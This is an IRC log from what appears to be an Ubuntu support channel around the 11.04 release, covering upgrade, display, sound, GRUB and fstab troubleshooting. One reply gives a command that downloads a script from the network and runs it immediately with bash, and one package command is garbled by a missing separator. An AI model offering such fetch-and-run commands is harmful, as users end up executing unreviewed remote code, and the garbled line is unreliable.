[21:25] <RyanCM> ohsix: there's nothing in this directory.
[21:25] <kate__> On the cd? Or the USB?
[21:25] <KrisDouglas> ipo, sorry, right. It seems there is either a problem with the machine or the disk if it is not loading past that point
[21:25] <TiagoTiago> usb
[21:25] <botcity> cd
[21:26] <Rehan> TiagoTiago: yeah, thats how i did it
[21:26] <TiagoTiago> i wanna use a USB stick to install on a HDD partition
[21:26] <KrisDouglas> I would recommend trying to burn another disk (or running the disk check from the pre-boot menu on the disk)
[21:26] <lcb> a2c4n9e1, why don't you install 11.04 and do the changes afterwards?
[21:26] <a2c4n9e1> lcb, its not that hard to solve. coz i did it bfore in prev version
[21:26] <ohsix> RyanCM: then you'll need to look in /tmp, if logs still aren't there, then your machine isn't able to even fetch the upgrader
[21:26] <botcity> kate__, cd
[21:26] <kate__> Well, I'm in 10.04lts... I right clicked on the iso and chose 'write to disk' and set it to the lowest speed.
[21:26] <truepurple> KrisDouglas: You think a driver update could fix this problem?
[21:26] <KrisDouglas> truepurple, certainly so.
[21:26] <TiagoTiago> how big does the stick needs to be?
[21:27] <d3vlin> installed natty x64 yesterday, booting shows only a big purple square, no logo. In syslog I see plymouth-splash terminating. Any clues? nvidia-current
[21:27] <lcb> a2c4n9e1, previous were grub2, too
[21:27] <a2c4n9e1> so, 11.04 don't let me make own mountpoint? wow. i wonder why...
[21:27] <ohsix> rye: and if that's the case, you don't have an internet connection for all intents and purposes ... cuz you can't get the file from ubuntu's servers for the upgrade :D you could try changing your mirrors, i'm not sure where it gets the upgrader bundle
[21:27] <armor-64> Metaxa : hmmm......i was using classic edition so far,ichange to ubuntu (normal to see if there will be changes)and now it have stuck in ubuntu classic,can i hide it somehow and use the top and bot bar as in ubuntu 10.10?
[21:27] <KrisDouglas> The problem you are experiencing, truepurple, is the display server cannot load on your card because of an updated kernel.
[21:27] <kate__> I burned the 10.04 disk at the same time, and it worked.
[21:27] <a2c4n9e1> lcb, does 11.04 not using grub2?
[21:27] <mello> hi, I try to load my music library into clementine from an NTFS partition, though roughly half of the songs are not being imported.. But they are visible in rhythmbox
[21:27] <ipo> KrisDouglas: what else I can do?
[21:27] <soja> can someone help me with grub? http://ubuntuforums.org/showthread.php?p=10735364#post10735364
[21:27] <truepurple> KrisDouglas: How do I remove the corrupt old driver then? Could we please speak in PM? Less work keeping track of the conversation
[21:27] <d3vlin> the installer CD had a wonderful fullscreen ubuntu splash (1920x1080?)
[21:27] <zvacet> a2c4n9e1: newest is nor always best that is why
[21:28] <botcity> kate__, gnomebaker is what i used
[21:28] <KrisDouglas> ipo, other than burning another disk, and trying a USB boot. I am unsure. How much RAM does the machine in question have?
[21:28] <ohsix> mello: it's probably clementine, not the filesystem, though you could rule out the filesystem by copying all of them to another filesystem and trying the same thing, but it's not the filesystem
[21:28] <lcb> a2c4n9e1, yes. the help page for grub2 is pretty good and there are some scenarios, probably what you need too. hold on..
[21:28] <kate__> gnomebaker?
[21:28] <a2c4n9e1> zcvacet: couldn't agree more on that... :)
[21:28] <ipo> KrisDouglas: 4
[21:28] <Metaxa> armor-64: From what I have read so far that doesn't seem to be an option. Wish I could have been more help.
[21:28] <TiagoTiago> the previous upgrades didn't had so many issues, did they? They all went smoothlly for me....
[21:28] <botcity> !burn | kate__
[21:28] <mello> ohsix that's what im trying. Weird thing is, that i think clementine is not the only player having issues with it.
[21:28] <ubottu> kate__: CD/DVD burning software: k3b (KDE), brasero (GNOME), gnomebaker, xcdroast, wodim (command-line) | To burn ISO files, see https://help.ubuntu.com/community/BurningIsoHowto
[21:28] <d3vlin> I tried to get more verbose info during boot by removing quiet splash from /etc/default/grub but no luck, still showing the purple square
[21:28] <KrisDouglas> truepurple, see pm
[21:29] <kate__> I burned this latest one exactly according to that page... I also made a USB installer and they both show the same message.
[21:29] <ohsix> mello: did you remove all songs from rhythmbox to see if they all loaded when you readded them?
[21:29] <a2c4n9e1> hmm... i think i'll reinstall the 10.10 now
[21:29] <Diosjoe> Hello, after updating to 11.04 i could use unity, but after first reboot after the update, it jumps straight to the old design, if i log the user out, i get a lot of graphic disortion, mouse pointer missing etc, though if i relog in i have a slight chance of getting unity back, until i reboot... help please << anymore information needed?
[21:29] <subcool> Can somoen please tell me why this string causes a loop? ::::::::::: /usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0
[21:29] <Diosjoe> This is my gfx dios@Dios1:~$ sudo lspci | grep ATI
[21:29] <Diosjoe> 01:00.0 VGA compatible controller: ATI Technologies Inc Radeon Mobility X700 (PCIE)
[21:29] <a2c4n9e1> can 10.10 be upgraded using usb flash drive?
[21:30] <armor-64> Metaxa : no it's ok man thanks for the help,it seem i will format becouse i hate it,are you using it anyway?
[21:30] <mello> ohsix i should try.. but i'm pretty sure I reimported my library several times in rhythmbox.
[21:30] <ohsix> mello: rhythmbox keeps track of songs that have been added and just checks if they're still there; which is different from loading them all originally, it may have worked at one point in the past & rhythmbox may have been able to load all of them, then the disk became damaged
[21:30] <kate__> Yet my image file checks out and I downloaded it three times from three different mirrors to be sure.
[21:30] <harovali> hi , i'm trying to set up a wireless modem, and I put all the configuration in NetworkManager . However, the option to connect to the network it should enable, does not appear in left-clicking in the doble arrow menu. ANy hint ?
[21:30] <botcity> kate__,  what laptop is it or what pc ?
[21:30] <kate__> Thinkpad T500
[21:30] <Metaxa> armor-64: I'm giving it a shot. I was one of the lucky ones that had everything work well for me
[21:30] <mello> ohsix im now copying them, and i'll import in both clementine & rhythmbox
[21:31] <lcb> a2c4n9e1, look at this -> http://goo.gl/0qRRN and this -> http://goo.gl/uMAgK <- better if you do it instead of someone who don't know for real what's going on in there.
[21:31] <subcool> PRETTY PLEASE
[21:31] <ipo> KrisDouglas: 4
[21:31] <Olson> is this bad? everything seems to work ok, but I sometimes do get glitches with new 11.04:   http://www.pasteall.org/pic/11715
[21:31] <Olson> (graphics)
[21:31] <Metaxa> armor-64: Firefox4 although is having some problems staying full screen.
[21:31] <a2c4n9e1> lcb: ok let me read that first. hang on...
[21:31] <ohsix> mello: if you want a clean test run rhythmbox with --dry-run or --rhythmdb-file <newdb> so it wont' use the original database of song information
[21:31] <lcb> a2c4n9e1, i'm hanging / on
[21:32] <armor-64> Metaxa : xaxaxa nice, thanks again!see ya around
[21:32] <kate__> I was running 10.10 on it. I tried to upgrade and it wouldn't boot properly after that. I had to tell it to run a 'previous linux version' but then it ran 11.04. I wanted to do a clean install so I could just start my computer.
[21:32] <mello> ohsix: thanks for the tip, but i just reinstalled maverick ;)
[21:32] <mello> ohsix: thanks for the tip but i just reinstalled :)
[21:32] <lcb> subcool, what's going on with that ' PRETTY_PLEASE ' package?
[21:32] <_Mr_Proper_> I'm running ubuntu classic, but still get those new off-window scrollbars - is there a way to disable them?
[21:33] <tripelb> zvacet, thanks
[21:33] <Diosjoe> Hello, after updating to 11.04 i could use unity, but after first reboot after the update, it jumps straight to the old design, if i log the user out, i get a lot of graphic disortion, mouse pointer missing etc, though if i relog in i have a slight chance of getting unity back, until i reboot... help please << anymore information needed?
[21:33] <a2c4n9e1> lcb, ah.. costumising grub menu. nice info. thanks, gonna try that later after i'm done with basic 11.04.
[21:33] <a2c4n9e1> anyway, lcb,can 10.10 be upgraded using flash drive containing the 11.04 installation. coz my connection is not that lightning fast and its late nite
[21:33] <lcb> a2c4n9e1, see... am i good at construction work or not? ;)
[21:33] <zvacet> tripelb: yw
[21:33] <tripelb> guest23133 (what a headache to type) is there much difference between modems? as long as you dont get a winmodem.
[21:34] <diablosraven> i just installed 10.10 and im going to be installing xbmc but i cant until i get fstab working right every time i reboot the hdd are detected differently can anyone help me
[21:34] <kate__> I have like half an hour to get this started before I leave it for the weekend... probably gonna let it upgrade to 10.10 while I'm away and get back to it on Monday.
[21:34] <lcb> a2c4n9e1, yes it can. use unetbootin to "burn" that flash
[21:34] <MrToad> Hey guys, is there a general chit-chat channel or is that allowed here?
[21:34] <diablosraven> pm pls
[21:34] <Arachon> MrToad: #ubuntu-offtopic
[21:34] <Arachon> I think
[21:34] <tripelb> I'm staying with 10.04 and it works. HAHA
[21:34] <MrToad> Ah great, thansk Arachon
[21:34] <a2c4n9e1> lcb, that summarize why you have all those tools with you. jackhammer and that knife.
[21:34] <lcb> a2c4n9e1, stop, look and wait, though...
[21:35] <MnCC> my taskbar is completly gone .. anyone know how to get it back ?
[21:35] <Rehan> guys is there a way to use Unity without the keyboard to find an app?
[21:35] <phibxr> you still aren't able to install the official google-chrome deb by double clicking it and letting it run in software center? that issue was reported weeks ago. :/
[21:35] <guntbert> !pm | diablosraven
[21:35] <ubottu> diablosraven: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[21:35] <a2c4n9e1> lcb, ok, i'm gonna head straight to the crime scene now. thanks alot
[21:35] <subcool> Can somoen please tell me why this string causes a loop? ::::::::::: /usr/bin/x11vnc -forever -rfbport 5900 -rfbauth ~/.vnc/x11vnc.pass -o ~/.vnc/x11vnc.log -loopbg -display :0
[21:35] <Rehan> phibxr: i just did, it worked fine for me
[21:35] <jmcantrell_> anyone using a system76 lemur ultrathin?
[21:35] <apatheticsheep> a friend of mine stopped by with her netbook which someone was kind enough to install kubuntu on, but she cannot connect to any wireless networks. she was once able to but can no longer.  iwconfig shows the interface and the gui has my wifi configured but ... it doesn't seem to even try to connect.  anyone able to help with this?
[21:36] <MnCC> my startmenu and taskbar are gone ?
[21:36] <diablosraven> ubottu, im trying to keep up but i cant
[21:36] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[21:36] <MnCC> help pleaze
[21:36] <Nightshade_> thats unity
[21:36] <diablosraven> lol
[21:36] <diablosraven> ok
[21:36] <lcb> a2c4n9e1, update and fix 10.10 as it should be, before. do ' sudo -i ' then ' apt-get update && apt-get upgrade && apt-get check && apt-get -f install && apt-get autoremove && apt-get clean '
[21:36] <SeRVeR01> hello there what client for yahoo support voice chat ?
[21:36] <phibxr> Rehan, when I click "Install" after a clean install, it works for a second and goes back to the product description screen with the "Install" button. facing the same issue on two laptops and one netbook. :S
[21:36] <kneaux> Safe to assume I can't upgrade directly from 10.04 to 11.04?
[21:36] <guntbert> diablosraven: you can tell your client to ignore the join/part messages
[21:36] <ohsix> MnCC: pick the classic session from the login screen
[21:37] <lcb> a2c4n9e1, then go for it; upgrade
[21:37] <phibxr> Rehan, using gdebi works just fine though.
[21:37] <armor-64> Metaxa : i found the solution,whana hear it?
[21:37] <MnCC> i dont have that on the login screen
[21:37] <Nightshade_> okay i have a question about unity
[21:37] <diablosraven> itll have to wait till i come back i guess
[21:37] <milligan> Just installed 11.04 on a laptop here. When booting the new system, the computer hangs at at the Ubuntu logo, with the dots underneath it. Booting an older kernel will work.
[21:37] <Metaxa> apatheticsheep: Do you know the maker of the wireless chip?
[21:37] <MnCC> i can choose users, thats it
[21:37] <ohsix> MnCC: at the bottom, after you click on your name
[21:37] <Rehan> phibxr: i have no idea what gdebi is :P
[21:37] <a2c4n9e1> lcb, so i need to update 10.10 first. ? ouch, its gonna be a long night
[21:37] <zvacet> kneaux: no you can not
[21:37] <Nightshade_> why is there no place for the "taskbar" applications
[21:37] <jnlsnl_> hmmt he ubuntu font looks much thinner in a pdf than on openoffice =(
[21:37] <cannonball> If an init process says it's "stop/waiting" (initctl disable ufw), does that mean it's going to start next time it reboots or is that not indicated by that output?
[21:37] <Metaxa> armor-64 sure
[21:37] <lcb> a2c4n9e1, that's a must!!!!
[21:37] <MnCC> gonna try it
[21:38] <phibxr> Rehan, the package that was used before software center was associated by .deb's. :)
[21:38] <JoeCoolDesk> I upgraded to 11.04
[21:38] <JoeCoolDesk> That was a mistake
[21:38] <lcb> a2c4n9e1, for everyone, not only for you. so, don't feel a privileged user
[21:38] <Metaxa> armor-64: Sure, what did you find?
[21:38] <kate__> botcity, are you thinking it's just a problem with the laptop?
[21:38] <Nightshade_> JoeCoolDesk you want classic?
[21:38] <ohsix> JoeCoolDesk: if you don't have a question or need help, #ubuntu-offtopic
[21:38] <apatheticsheep> Metaxa: Atheros, AR9285 is what lspci shows.
[21:39] <a2c4n9e1> lcb. hahaha.. i shouldn't remove the partition table in the first place.
[21:39] <Somelauw> Should I already upgrade to 11.4. I really don t care about unity or anything?
[21:39] <lcb> a2c4n9e1, why?
[21:39] <JoeCoolDesk> Now it's sitting on startup "The disk drive for / is not ready yet or not present"
[21:39] <Nightshade_> is there any way to get the taskbar notifications back?
[21:39] <Somelauw> Since I will use awesome anyway.
[21:39] <cannonball> Ah, initctl show-config.  Thanks.
[21:39] <ActionParsnip> Somelauw: if what you have works, why fix it
[21:39] <lcb> a2c4n9e1, you want to remove everything from that disk, is that your idea?
[21:39] <z0mbyk1d> how should i upgrade to natty server from karmic server?>
[21:39] <zvacet> a2c4n9e1: we learn something every day  ;)
[21:39] <armor-64> Metaxa : if someone dont like it he have just to type (sudo apt-get remove unity)that works for me,and now i am using ubuntu classic version without the side bar!
[21:40] <Metaxa> apatheticsheep: Under additional drivers is her card listed?
[21:40] <botcity> kate__,  im thinking you may have to disable the graphics from bios .. maybe try the normal iso ?
[21:40] <apatheticsheep> Metaxa: lsmod shows ath9x several times.
[21:40] <Diosjoe> Hello, after updating to 11.04 i could use unity, but after first reboot after the update, it jumps straight to the old design, if i log the user out, i get a lot of graphic disortion, mouse pointer missing etc, though if i relog in i have a slight chance of getting unity back, until i reboot... help please << anymore information needed?
[21:40] <a2c4n9e1> lcb, i was erasing my partition table before deciding to install 11.04
[21:40] <kate__> Normal iso?
[21:40] <a2c4n9e1> zvacet: yup lesson learned
[21:40] <lcb> a2c4n9e1, is that an upgrade or "fresh" install?
[21:40] <Metaxa> armor-64: Nice. In a month or so will you give gnome3 a try?
[21:40] <Somelauw> since maybe it is worht it
[21:40] <botcity> you said you use the alternative iso cd
[21:41] <sre-su> Is there a command to lock the screen than a keyboard shortcut?
[21:41] <ohsix> JoeCoolDesk: did you use lvm for / or have some other ad-hoc setup?
[21:41] <apatheticsheep> Metaxa: where would i find "additional drivers" I am more familiar with shell than gui.
[21:41] <kate__> I used both. Someone earlier suggested trying the alternative.
[21:41] <kate__> So I did.
[21:41] <a2c4n9e1> lcb: it was a proxy box anyway, and the setting was backed up. so i thought why not start using 11.04 fresh from the bedshed. :D
[21:42] <lcb> a2c4n9e1, btw, if you are "playing" with the partitions better first backup your /home and probably /etc and /usr
[21:42] <guntbert> !who | kate__
[21:42] <ubottu> kate__: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[21:42] <armor-64> Metaxa : gnome3?i haven't hear of it....what's that?
[21:42] <Metaxa> apatheticsheep: System->Admin-> I bvelive
[21:42] <apatheticsheep> Metaxa: nvm i found it there's a search in the K-menu
[21:42] <kate__> botcity, sorry
[21:42] <a2c4n9e1> lcb, i'm trying to RE-installing my pc with the new ubuntu
[21:42] <guntbert> !gnome3 | armor-64
[21:42] <ubottu> armor-64: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[21:42] <lcb> a2c4n9e1, you might not need /etc and /usr ... it's just in case you have some configs and packages you would like to take a look afterwards
[21:42] <JoeCoolDesk> ohsix, I'm just dual-booting with windows
[21:42] <botcity> kate__,  maybe the normal iso and press f6 and disable the graphic s
[21:43] <ohsix> JoeCoolDesk: what is /?
[21:43] <TiagoTiago> If i install using the ISO will it erase all the files or if i already have the partitons ready it will just copy over the files involved in the install?
[21:43] <JoeCoolDesk> The root of the filesystem?
[21:43] <a2c4n9e1> don't like the term upgrading, coz i thought it might leave some mess
[21:43] <ohsix> JoeCoolDesk: dual booting shouldn't matter or anything, how your filesystem is assembled might have been would be
[21:43] <apatheticsheep> Metaxa: it says "no proprietary drivers are in use on this system" is this a gui for ndiswrapper?
[21:43] <kate__> botcity, I'll give it a shot. Have to leave to do it, so thanks for your help.
[21:43] <Metaxa> Yes
[21:43] <a2c4n9e1> but then i was wrong, its better upgrading with this realease
[21:44] <botcity> kate__, ok
[21:44] <lcb> a2c4n9e1, and in my opinion, before installing whatever, use the  new image or another live linux and go to those dirs and compress , with nautilus, for example
[21:44] <aj00200> I am having probelms with the windows not being resizable (particularly Firefox). Does someone know how to fix this?
[21:44] <JoeCoolDesk> ohsix, it was working yestreday and it's not today after the upgrade.  The windows partition works so it's not the HDD
[21:44] <Kyubey> Heya
[21:44] <Kyubey> So yeah
[21:44] <ohsix> JoeCoolDesk: i didn't say it was, but if you want to be beligerent i've got other things to do
[21:44] <lcb> a2c4n9e1, then copy to another media, of course
[21:44] <guntbert> z0mbyk1d: karmic -> maverick -> natty
[21:44] <Kyubey> I just noticed sound isnt working on my laptop under natty
[21:44] <guntbert> !upgrade | z0mbyk1d
[21:44] <ubottu> z0mbyk1d: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[21:44] <Kyubey> But I checked, and it appears natty uses palseaudio now
[21:44] <Kyubey> I have a wierd sound card, I think only ALSA works on it
[21:45] <Kyubey> Does anyone know how to fix it?
[21:45] <a2c4n9e1> lcb, the conf and package are well backed up every week bfore, so i thought nothing to worry about starting a new installation from scratch.
[21:45] <ohsix> Kyubey: pulseaudio uses alsa to output sound, it's not an alternative
[21:45] <guntbert> sre-su: you question was not clear for me - what di you want to do?
[21:45] <ohsix> Kyubey: open the volume control and go to the hardware tab, do you see any devices?
[21:45] <mick_laptop> hi everyone, I installed ubuntu on an Acer laptop and everything was going just fine (for a few days) - now it is acting funny (started w/ X not really working like it should etc.). Now i get "No init found" and a busybox prompt
[21:45] <a2c4n9e1> now i need to install 10.10 first, make my custom mount point and update, clean, and upgrade to 11.04
[21:45] <Kyubey> I cant do that ohsix
[21:46] <lcb> a2c4n9e1, so burn the flash and you both (you+distro)  will be happy ever after
[21:46] <mick_laptop> when i try to reinstall (w/ a cd or usb) I can't get passed that prompt
[21:46] <exalt> can i move the dash bar ?
[21:46] <a2c4n9e1> lcb, but in your oppinion, will it worth it?
[21:46] <sudipta> how to test whether my nvidia card will support unity?
[21:46] <sre-su> guntbert: Got it myself.. I was searching a command like <qdbus org.kde.krunner /ScreenSaver org.freedesktop.ScreenSaver.Lock
[21:46] <sre-su> > to lock screen
[21:46] <lcb> a2c4n9e1, the change/upgrade?
[21:46] <z0mbyk1d> guntbert: i'm just using do-release-upgrade
[21:46] <Kyubey> when I go to sound preferences, it says "Waiting for the sound system to respond"
[21:46] <ohsix> Kyubey: that's the first step, find out how to do it so your sound can be fixed
[21:46] <apatheticsheep> "network connections" module in KDE, when i click add under wireless, and then scan, shows my network.  this would indicate to me that the drivers are loaded for the wireless card.
[21:46] <nanovany> how can I know if my video card works on ubuntu 11.04?
[21:46] <ohsix> Kyubey: ok, are you using kubuntu?
[21:46] <a2c4n9e1> lcb, i mean, upgrading to 11.04 at the momment, with the freshly launched?
[21:46] <guntbert> sre-su: understood, glad you found it
[21:46] <TiagoTiago> The disk i'll be installt 11.04 already got dualboot set to boot Linux and Windows, is my Windows partition under any risk if i install Ubuntu  again?
[21:46] <Kyubey> no
[21:47] <Kyubey> I'm using the standard unity ubuntu
[21:47] <guntbert> z0mbyk1d: but you *must* not jump over releases
[21:47] <ohsix> Kyubey: ok, open a terminal and run fuser -v /dev/snd/* paste teh output if there is any to paste.ubuntu.com
[21:47] <lcb> a2c4n9e1, of course it is. you get everything up-to-date. if you like a couple of ppl don't like unity use classic desktop option at login
[21:47] <apatheticsheep> but I see no way to connect to said wireless network.  I type in my WPA key and select auto connect but it doesn't connect
[21:47] <botcity> !hardware | nanovany,
[21:47] <ubottu> nanovany,: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport - To help debugging and improving hardware detection, see https://wiki.ubuntu.com/DebuggingHardwareDetection
[21:47] <ny51bern> Can someone help me install ubuntu 11?
[21:47] <ActionParsnip> Kyubey: can you give the output of: wget -O alsa-info.sh http://alsa-project.org/alsa-info.sh && bash ./alsa-info.sh
[21:48] <a2c4n9e1> lcb, thanks alot for the opinions.
[21:48] <zvacet> TiagoTiago: no if you do it carefully
[21:48] <z0mbyk1d> wow ok so i need to go to 10.04 then to 10.10 then to 11.04
[21:48] <z0mbyk1d> whew!
[21:48] <TiagoTiago> perhaps it would better if there was some triage going here so the flow of text wasn't so fast, i'm having a hard time keeping up, specially if i try to do anything else :(
[21:48] <a2c4n9e1> ny51bern: how can you be helped?
[21:48] <z0mbyk1d> guntbert: you can't anyway, apparently
[21:48] <ohsix> ActionParsnip: i got this one, and that'd be 100% useless in this case, have to start at the top, pulse is failing to start or blocked on opening the devices
[21:48] <lcb> a2c4n9e1, or use unity + some fancy menu utility, like "avant window navigator "
[21:48] <shane_> Hello ubuntu chat
[21:49] <engammalsko> I have no window menu after configuring compiz.
[21:49] <ActionParsnip> ohsix: if you want, the output is dead handy though
[21:49] <ny51bern> a2c4n9e1: ive already gotten pretty far, but the installer has prompted me asking "What do you want to do about modified configuration file grub?"
[21:49] <JoeCoolDesk> ohsix, what aare you talking about?
[21:49] <engammalsko> I don't have the close, minimize, maximize etc.
[21:49] <a2c4n9e1> lcb, so i got 3 unmounted partition in 11.04, how to make it auto mounted?]
[21:49] <lcb> a2c4n9e1, or... add to startup applications ' gnome-menu ' and you'll have the bottom gnome panel.
[21:49] <exalt> HELP ubuntu 11.04 is turning my laptop fan into a furnace!
[21:49] <guntbert> z0mbyk1d: what you *can* or *can't* is not the question - what it does to your system makes the difference :)
[21:49] <Kyubey> ActionParsnip http://paste.ubuntu.com/600961/
[21:49] <ActionParsnip> a2c4n9e1: add it in /etc/fstab
[21:49] <lcb> a2c4n9e1, sorry, ' gnome-panel '
[21:49] <cardamoon> 11.04.  I laughed.
[21:49] <shane_> This is the 3rd time I've installed ubuntu, and maybe the 10th time i've tried installing the fglrx drivers from th ati website and I get the same error every time; X11: extension GLX not found;
[21:49] <z0mbyk1d> guntbert: yeah
[21:49] <Kyubey> wait, it cut off a line
[21:49] <cardamoon> Haha.
[21:50] <ohsix> Kyubey: ok, don't worry about pasting the rest, you have flash player interfering with pulse
[21:50] <aj00200> I am having probelms with some windows not being resizable (particularly Firefox and the terminal). Does someone know how to fix this?
[21:50] <a2c4n9e1> ny51bern: whats the options? i never see that..
[21:50] <z0mbyk1d> i'm backing up all the configs that are likely to be overwritten
[21:50] <engammalsko> Can anyone help me restore my window panel?
[21:50] <lcb> a2c4n9e1, you have the answer on those tutos i gave you
[21:50] <Kyubey> Flash player is interfering with pulse?
[21:50] <lcb> a2c4n9e1, pretty explanatory
[21:50] <Kyubey> How do I fix this?
[21:50] <asteig> engammalsko: Do you know why it disappeared?
[21:51] <ohsix> Kyubey: yeah, so close whatever is using it, pulse goes to sleep by itself after a while and something can open the device directly under it
[21:51] <engammalsko> No, but it have happend before, asteig
[21:51] <asteig> engammalsko: Upgrade, etc?
[21:51] <a2c4n9e1> ActionParsnip: how to get the uuid
[21:51] <samtate> My laptop sound works fine in Ubuntu including soundmenu and stuff, but when I plug in my external speakers, the sound cuts off from the laptop ones, but nothing comes out of the external ones. Any help?
[21:51] <Oday> is there an "easy" GUI CVS that you know of?
[21:51] <ActionParsnip> a2c4n9e1: run:  sudo blkid
[21:51] <HAKMASTER> hey!! quick question, i'am installting Ubuntu 11.0.4 and during the installation when i'm doing parition resize, i can't mount it to other than the default mount listed name!! how i can fix this? thanks in advance
[21:51] <ohsix> Kyubey: well, i'd stop using nspluginwrapper, but that doesn't really have anything to do with it; just kill flash and pulse will do everything itself
[21:51] <engammalsko> asteig: I upgraded to 11.04, but it has happened with 10.10 too.
[21:51] <mick_laptop> i took out the hdd - truying again
[21:51] <Oday> because "man cvs" is causing me nightmares
[21:51] <asteig> engammalsko: Gnome or Unity?
[21:51] <phibxr> Why did #ubuntu+1 become invite only?
[21:51] <engammalsko> Gnome
[21:51] <ActionParsnip> samtate: what make and model is the system?
[21:52] <ActionParsnip> phibxr: because natty is released
[21:52] <Oday> maybe you haven't identified your nickname, phibxr
[21:52] <ohsix> phibxr: it's not going to be "supported" for a while, it's oneiric
[21:52] <guntbert> phibxr: because natty is released
[21:52] <shane_> Im using Ubuntu 11; Trying to install FGLRX; I get the same problem everytime; X11: GLX extension not found
[21:52] <Oday> oh
[21:52] <asteig> engammalsko: Did you JUST upgrade? If you just upgraded to 11.04, you need to manually switch back to GNOME.
[21:52] <Kyubey> So I cant get sound while using flash? o.o
[21:52] <a2c4n9e1>  ny51bern: http://ubuntuforums.org/showthread.php?t=1195275 & http://ubuntuforums.org/showthread.php?t=1296225 credit to lcb
[21:52] <phibxr> acnot, ohsix, guntbert, ah, thanks. :)
[21:52] <mcphail> Hi all. My 64 bit natty CD can't install grub anywhere. Proceeding without installing grub leads to "irrecoverable error" about 5 minutes later. Installation medium is not corrupted. Any ideas?
[21:53] <engammalsko> asteig: I changed to Ubuntu-classic when loggin in, So I have the 10.10 menus etc.
[21:53] <ohsix> Kyubey: you can, but like i said; pulse goes to sleep when theres nothing to do, and that means a bad app can open and hog the device under it
[21:53] <lcb> Oday, i think it depends your usage of it. on "software center " type cvs
[21:53] <FLeiXiuS> All of my window decorations are gone in ubuntu 11.04 classic display.  This means no minimize / maximize, etc..,etc
[21:53] <ny51bern> a2c4n9e1: theres a bunch. "install the package maintainer's version" "keep the local version currently installed" "show the differences between the versions" "show a 3 way diff b/w available versions" "do a 3 way merge b/w avail versions (experimental)" "start a new shell to examine the situation"
[21:53] <Oday> i am doing that now already, lcb
[21:53] <ohsix> Kyubey: you should use the native 64bit plugin, it's less problematic
[21:53] <Oday> thanks
[21:53] <asteig> engammalsko: Okay, cool. Did you lose just one panel or all panels?
[21:53] <ActionParsnip> Kyubey: what is the output of:  uname -a; lsb_release -a; dpkg -l | grep flash; dpkg -l | grep gnash; dpkg -l | grep swf
[21:53] <nanovany> thanks I will checkit!
[21:53] <a2c4n9e1> ActionParsnip: can you gimme example of fstab line for reiserfs filesystem?
[21:53] <cache_surplus> hello, im trying to ubuntu 10.10 32bit on a windows xp laptop. when i boot to cdrom, windows xp continues to rule the laptop...
[21:53] <lcb> Oday, :)
[21:53] <engammalsko> asteig: But that's not my problem. It's my window bar. I don't have the window panels.
[21:53] <aj00200> FLeiXiuS: do they need to be re-enabled with compilz?
[21:53] <Oday> lcb, there is CVS and Subversion, and Subversion is NOT a CVS?
[21:53] <engammalsko> asteig: I mean, close, minimize, maximize etc.
[21:53] <ActionParsnip> !fstab | a2c4n9e1
[21:53] <ubottu> a2c4n9e1: The /etc/fstab file indicates how drive partitions are to be used or otherwise integrated into the file system. See https://help.ubuntu.com/community/Fstab and http://www.tuxfiles.org/linuxhelp/fstab.html and !Partitions
[21:53] <Oday> is CVS a brand? lcb
[21:54] <FLeiXiuS> aj00200, I've gone through and replaced the display manager with compiz/metacity...notta.
[21:54] <shane_> cache_sureplush: sounds like the bootloader didnt install probperly or your boot partition isnt set
[21:54] <engammalsko> asteig: I have the top and bottom panels.
[21:54] <samtate> ActionParsnip, its an Advent 5411 - a bit rarer, but still uses a common-ish sound card
[21:54] <ohsix> engammalsko: sounds like you need to enable the window decorator plugin in compiz
[21:54] <engammalsko> ohsix: how to?
[21:54] <shane_> Anybody have a link to installing FGLRX on fresh install NAtty
[21:54] <Kyubey> http://paste.ubuntu.com/600966/
[21:54] <a2c4n9e1> ActionParsnip: ok thanks
[21:54] <engammalsko> ohsix: Under which category?
[21:54] <ny51bern> a2c4n9e1: I have no idea what those links mean. I'm pretty dumb when it comes to these things..
[21:54] <ohsix> engammalsko: it's an option like any other in ccsm; can you actually move windows and switch their order at the moment? compiz could have crashed too
[21:55] <a2c4n9e1> i'll be away for awhile
[21:55] <lcb> Oday, no, but you have packages in there for almost everything. try it and the ones you don't like it remove it. don't forget ubuntu is not like windoe$, so no garbages afters
[21:55] <FLeiXiuS> aj00200, allow m e to rephrase, I have decorations but they dont do anything.
[21:55] <Kyubey> ActionParsnip, http://paste.ubuntu.com/600966/
[21:55] <phibxr> ohsix, sounds like he's running ubuntu-classic.
[21:55] <ActionParsnip> samtate: try adding: options snd-hda-intel model=thinkpad     to /etc/modprobe.d/alsa-base.conf      and reboot, may help
[21:55] <Oday> sure there are garbages, lcb..that's why autoremove and deborphan are there :P
[21:55] <ohsix> engammalsko: "effects"
[21:55] <samtate> ActionParsnip, OK thanks
[21:55] <ohsix> phibxr: you can't disable the decorator separately with metacity
[21:55] <engammalsko> ohsix: I can use the cube, move windows, use effects etc.
[21:55] <engammalsko> Ok
[21:55] <aj00200> FLeiXiuS: ouch. I'm sorry, but I don't know how to fix it. Maybe use this as an opportunity to learn to use keyboard shortcuts for everything
[21:56] <lcb> Oday, well, not so much as on the other one. you are right though. check their pages for features then
[21:56] <mcphail> Has anyone managed to install 64 bit natty from the live cd or am I the only one with problems?
[21:56] <FLeiXiuS> aj00200, thats how i've been surviving the past 2 days.. getting old ;-P
[21:56] <engammalsko> ohsix: I have a "fönsterram" option which means "window frame" could that be right?
[21:56] <JPeterson> I upgraded to 11.04 on what I thought was a plain vanilla 10.10, now I'm stuck on the grub command prompt
[21:56] <ActionParsnip> Kyubey: try:  sudo apt-get --purge remove flashplugin-installer; sudo add-apt-repository ppa:sevenmachines/flashsudo apt-get update && sudo apt-get install flashplugin64-installer
[21:56] <ohsix> engammalsko: could be
[21:56] <syn3rgy> Natty looks really ... em different. I need to have my system monitor in the top panel. How do I do that?
